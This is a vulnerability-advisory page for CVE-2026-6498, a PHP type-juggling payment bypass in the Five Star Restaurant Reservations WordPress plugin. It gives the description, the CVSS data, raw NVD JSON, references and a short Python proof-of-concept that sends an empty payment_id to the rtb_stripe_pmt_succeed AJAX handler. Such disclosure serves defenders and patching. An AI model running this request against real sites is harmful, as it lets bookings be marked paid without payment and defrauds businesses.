Security Vulnerability Report
中文
CVE-2026-6498 CVSS 5.3 MEDIUM

CVE-2026-6498

Published: 2026-04-30 10:16:02
Last Modified: 2026-04-30 14:52:55

Description

The Five Star Restaurant Reservations plugin for WordPress is vulnerable to a payment bypass via PHP type juggling in versions up to, and including, 2.7.16 This is due to the valid_payment() function using a PHP loose comparison (==) between the attacker-controlled payment_id POST parameter and the booking's stripe_payment_intent_id property. When an unauthenticated attacker submits a request to the nopriv AJAX handler rtb_stripe_pmt_succeed before the Stripe payment intent has been created for a booking (i.e., before the JavaScript-triggered create_stripe_pmtIntnt() call has stored an intent ID in post meta), the stripe_payment_intent_id property on the booking object remains null. The comparison sanitize_text_field('') == null evaluates to TRUE in PHP loose comparison, causing the payment verification check to pass with zero actual payment. This makes it possible for unauthenticated attackers to mark any existing payment_pending booking as paid without completing a Stripe payment by submitting an empty payment_id parameter.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Five Star Restaurant Reservations <= 2.7.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_payment_bypass(target_url, booking_id): """ PoC for CVE-2026-6498: Payment Bypass via PHP Type Juggling. """ # The AJAX endpoint for WordPress ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Data payload exploiting the loose comparison payload = { "action": "rtb_stripe_pmt_succeed", "booking_id": booking_id, "payment_id": "" # Empty string matches null in loose comparison } try: response = requests.post(ajax_url, data=payload) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code == 200: print("[+] Request sent. Check booking status to verify exploitation.") except Exception as e: print(f"[-] Error: {e}") # Example usage: # exploit_payment_bypass("http://example.com", "123")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6498", "sourceIdentifier": "[email protected]", "published": "2026-04-30T10:16:02.327", "lastModified": "2026-04-30T14:52:54.847", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Five Star Restaurant Reservations plugin for WordPress is vulnerable to a payment bypass via PHP type juggling in versions up to, and including, 2.7.16 This is due to the valid_payment() function using a PHP loose comparison (==) between the attacker-controlled payment_id POST parameter and the booking's stripe_payment_intent_id property. When an unauthenticated attacker submits a request to the nopriv AJAX handler rtb_stripe_pmt_succeed before the Stripe payment intent has been created for a booking (i.e., before the JavaScript-triggered create_stripe_pmtIntnt() call has stored an intent ID in post meta), the stripe_payment_intent_id property on the booking object remains null. The comparison sanitize_text_field('') == null evaluates to TRUE in PHP loose comparison, causing the payment verification check to pass with zero actual payment. This makes it possible for unauthenticated attackers to mark any existing payment_pending booking as paid without completing a Stripe payment by submitting an empty payment_id parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-345"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/restaurant-reservations/tags/2.7.13/includes/PaymentGatewayStripe.class.php#L404", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/restaurant-reservations/tags/2.7.13/includes/PaymentGatewayStripe.class.php#L458", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/restaurant-reservations/trunk/includes/PaymentGatewayStripe.class.php#L404", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/restaurant-reservations/trunk/includes/PaymentGatewayStripe.class.php#L458", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3518833/restaurant-reservations/trunk/includes/PaymentGatewayStripe.class.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Frestaurant-reservations/tags/2.7.16&new_path=%2Frestaurant-reservations/tags/2.7.17", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8ee08aac-7bcc-4809-a5aa-7b95ed736f19?source=cve", "source": "[email protected]"}]}}